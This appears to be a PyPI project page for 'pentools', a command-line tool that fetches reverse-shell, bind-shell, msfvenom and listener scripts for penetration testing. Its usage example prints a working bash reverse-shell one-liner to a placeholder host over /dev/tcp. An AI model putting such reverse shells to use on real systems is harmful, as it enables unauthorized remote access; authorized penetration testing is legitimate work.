CLI for Pen Tools API
Project description
CLI Tool for interacting with Pen Tools API.
A command line interface tool for interacting with Pen Tools API. Quickly retrieve and format scripts using a simple set of commands.
Installation
The package requires Python 3.7 or higher.
Install latest version from PyPI: pip install pentools
Resources
Usage
Retrieve the list of scripts based on specified category (leave blank to see all).
pentools list
output:
Available types
0. rev
1. bind
2. msf_venom
3. listener
Add the -f flag to see available scripts.
pentools list rev -f
output:
Available scripts and types
0. rev
Shell session established on a connection that is initiated from a remote machine.
0. bash_i [id: 1]('linux', 'mac')
1. bash_196 [id: 2]('linux', 'mac')
2. bash_read_line [id: 3]('linux', 'mac')
3. Bash_5 [id: 4]('linux', 'mac')
...
Retrieve and format a specific script by id.
pentools script -i 1 -ho example.ip -p 12345 -s bin/bash
output:
---------------(code)---------------
bin/bash -i >& /dev/tcp/example.ip/12345 0>&1
-------------(end code)-------------
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file pentools-0.0.1.tar.gz.
File metadata
- Download URL: pentools-0.0.1.tar.gz
- Upload date:
- Size: 4.4 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.1.1 pkginfo/1.5.0.1 requests/2.22.0 setuptools/47.3.1 requests-toolbelt/0.9.1 tqdm/4.46.1 CPython/3.7.6
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
762af689ae03947975dc8af68680078aa793606736af2474a5d30798d28ce225
|
|
| MD5 |
901047a499b8facbbd1b2c98851dbc49
|
|
| BLAKE2b-256 |
da175ae59a1372ff4e2da8569fcc9fa71fa9b15a38fc61bf64b7b5a88996780f
|
File details
Details for the file pentools-0.0.1-py3-none-any.whl.
File metadata
- Download URL: pentools-0.0.1-py3-none-any.whl
- Upload date:
- Size: 7.3 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.1.1 pkginfo/1.5.0.1 requests/2.22.0 setuptools/47.3.1 requests-toolbelt/0.9.1 tqdm/4.46.1 CPython/3.7.6
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
6354e951ebdc76efcd13670319d02865a658e7df9b1db8602d4a7f848c41e7d0
|
|
| MD5 |
296558a3c80d9f8255c7d4e324be0066
|
|
| BLAKE2b-256 |
88f056903cefd9abce1dcde9b17f1a6581f7fc75812ee28e860da90bf2382281
|